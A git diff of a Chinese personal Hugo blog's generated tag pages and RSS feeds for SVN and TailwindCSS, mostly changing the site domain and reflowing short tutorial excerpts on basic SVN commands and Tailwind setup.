class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>SVN | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/svn/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/svn/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="SVN"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/svn/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="SVN"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>SVN</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>SVN版本控制系统学习笔记</h2></header><div class=entry-content><p>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
 而存在冲突那么就需要先手动处理冲突再commit
@@ -31,7 +31,7 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://xiaochenabc123.github.io/posts/84/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+svn commit -m “hello svn”...</p></div><footer class=entry-footer><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to SVN版本控制系统学习笔记" href=https://chenjunlinabc.github.io/posts/84/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/svn/index.xml b/tags/svn/index.xml
index d4795ed0..7b530a3e 100644
--- a/tags/svn/index.xml
+++ b/tags/svn/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>SVN on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/svn/</link>
+    <link>https://chenjunlinabc.github.io/tags/svn/</link>
     <description>Recent content in SVN on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 11 Aug 2021 15:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/svn/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 11 Aug 2021 15:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/svn/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>SVN版本控制系统学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/84/</link>
+      <link>https://chenjunlinabc.github.io/posts/84/</link>
       <pubDate>Wed, 11 Aug 2021 15:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/84/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/84/</guid>
       <description>SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
diff --git a/tags/svn/page/1/index.html b/tags/svn/page/1/index.html
index c9a9e9cd..76213c07 100644
--- a/tags/svn/page/1/index.html
+++ b/tags/svn/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/svn/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/svn/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/svn/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/svn/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/svn/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/svn/"></head></html>
\ No newline at end of file
diff --git a/tags/tailwindcss/index.html b/tags/tailwindcss/index.html
index e805f26e..70ca989e 100644
--- a/tags/tailwindcss/index.html
+++ b/tags/tailwindcss/index.html
@@ -1,26 +1,16 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>TailwindCSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/tailwindcss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/tailwindcss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="TailwindCSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/tailwindcss/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="TailwindCSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>TailwindCSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>TailwindCSS | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/tailwindcss/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/tailwindcss/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="TailwindCSS"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/tailwindcss/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="TailwindCSS"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>TailwindCSS</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
-'./src/**/*.{html,js}'
-],
-如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import "tailwindcss/base";
-@import "tailwindcss/components";
-@import "tailwindcss/utilities";
-也可以将css导入到js中
-import "tailwindcss/tailwind.css"
-tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://xiaochenabc123.github.io/posts/130/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中
+import "tailwindcss/tailwind.css" tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://chenjunlinabc.github.io/posts/130/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/tailwindcss/index.xml b/tags/tailwindcss/index.xml
index 77273f8a..a96e9751 100644
--- a/tags/tailwindcss/index.xml
+++ b/tags/tailwindcss/index.xml
@@ -2,34 +2,34 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>TailwindCSS on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/tailwindcss/</link>
+    <link>https://chenjunlinabc.github.io/tags/tailwindcss/</link>
     <description>Recent content in TailwindCSS on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 27 Jan 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/tailwindcss/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 27 Jan 2022 12:00:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/tailwindcss/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用TailwindCSS</title>
-      <link>https://xiaochenabc123.github.io/posts/130/</link>
+      <link>https://chenjunlinabc.github.io/posts/130/</link>
       <pubDate>Thu, 27 Jan 2022 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/130/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/130/</guid>
       <description>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
&#39;./src/**/*.{html,js}&#39;
],
如果没有配置content属性，会警告
+content: [ &#39;./src/**/*.{html,js}&#39; ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &amp;quot;tailwindcss/base&amp;quot;;
@import &amp;quot;tailwindcss/components&amp;quot;;
@import &amp;quot;tailwindcss/utilities&amp;quot;;
也可以将css导入到js中
-import &amp;quot;tailwindcss/tailwind.css&amp;quot;
tailwind编译
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &amp;quot;tailwindcss/base&amp;quot;; @import &amp;quot;tailwindcss/components&amp;quot;; @import &amp;quot;tailwindcss/utilities&amp;quot;; 也可以将css导入到js中
+import &amp;quot;tailwindcss/tailwind.css&amp;quot; tailwind编译
 npx tailwindcss -i ./src/index.css -o ./dist/main.css</description>
     </item>
     
diff --git a/tags/tailwindcss/page/1/index.html b/tags/tailwindcss/page/1/index.html
index d1a8f2b4..383bf762 100644
--- a/tags/tailwindcss/page/1/index.html
+++ b/tags/tailwindcss/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/tailwindcss/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/tailwindcss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/tailwindcss/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/tailwindcss/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/tailwindcss/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/tailwindcss/"></head></html>
\ No newline at end of file
diff --git a/tags/taro/index.html b/tags/taro/index.html
